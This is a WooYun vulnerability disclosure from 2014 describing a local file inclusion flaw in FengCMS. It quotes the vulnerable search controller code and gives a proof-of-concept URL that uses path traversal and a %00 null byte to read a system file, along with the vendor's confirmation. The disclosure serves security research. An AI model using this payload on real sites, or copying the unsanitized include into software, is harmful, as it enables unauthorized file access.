当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-066550

漏洞标题:FengCMS本地文件包含一枚

相关厂商:fengcms.com

漏洞作者: magerx

提交时间:2014-07-01 13:45

修复时间:2014-09-29 18:26

公开时间:2014-09-29 18:26

漏洞类型:文件包含

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-01: 细节已通知厂商并且等待厂商处理中
2014-07-01: 厂商已经确认,细节仅向厂商公开
2014-07-04: 细节向第三方安全合作伙伴开放
2014-08-25: 细节向核心白帽子及相关领域专家公开
2014-09-04: 细节向普通白帽子公开
2014-09-14: 细节向实习白帽子公开
2014-09-29: 细节向公众公开

简要描述:

LFI

详细说明:

条件:PHP<5.3.4
/app/controller/searchController.php:

public function index(){
if(!empty($_POST)){
if(URL_TYPE==1){
echo '<meta http-equiv="refresh" content="0;url='.(($_POST['project'])?'?controller=search&project='.$_POST['project'].'&tags='.$_POST['tags']:'/tags/'.$_POST['tags'].'.html').'">';
}else{
echo '<meta http-equiv="refresh" content="0;url=?controller=search'.(($_POST['project'])?'&project='.$_POST['project'].'&tags='.$_POST['tags']:'&tags='.$_POST['tags']).'.html">';
}
}else{
if ($_GET['tags'] != '') {
$encode = mb_detect_encoding ( $_GET['tags'], array ("ASCII", "UTF-8", "GB2312", "GBK", "BIG5" ) );
if ($encode != "UTF-8") {
$_GET['tags'] = iconv ( "gb2312", "UTF-8", $_GET['tags'] );
}
}
if($_GET['tags']){
if($_GET['project']!=""){
return $this->display($_GET['project'].'_search.html');
}else{
return $this->display('search.html');
}
}else{
echo '<script type="text/javascript">alert("请输入关键词!");history.go(-1)</script>';
}
}
}
}


上面我们让post为空,$_GET['tags']不为空,$_GET['project']可控,接着看display()
/system/core/controller.php:27行

public function display($path,$data=""){
if(!isset($path)){
return throwexce(sprintf('Template file does not exist!'));
}else{
$tpl= new template();
if(!empty($data)){
extract($data,EXTR_OVERWRITE);
}
include template::tpl($path);
}
}


$path直接被include,(由于程序自带stripslashes前面提到过)%00截断,LFI有了
poc:

localhost/fengcms/index.php?controller=search&operate=index&tags=1&project=../../../../../../../windows/win.ini%00


QQ20140628-3.png

漏洞证明:

localhost/fengcms/index.php?controller=search&operate=index&tags=1&project=../../../../../../../windows/win.ini%00


QQ20140628-3.png

修复方案:

v

版权声明:转载请注明来源 magerx@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-07-01 13:47

厂商回复:

非常感谢乌云平台,为我们查找到了安全漏洞!我们一定再接再厉,做好我们的产品的安全工作!

最新状态:

暂无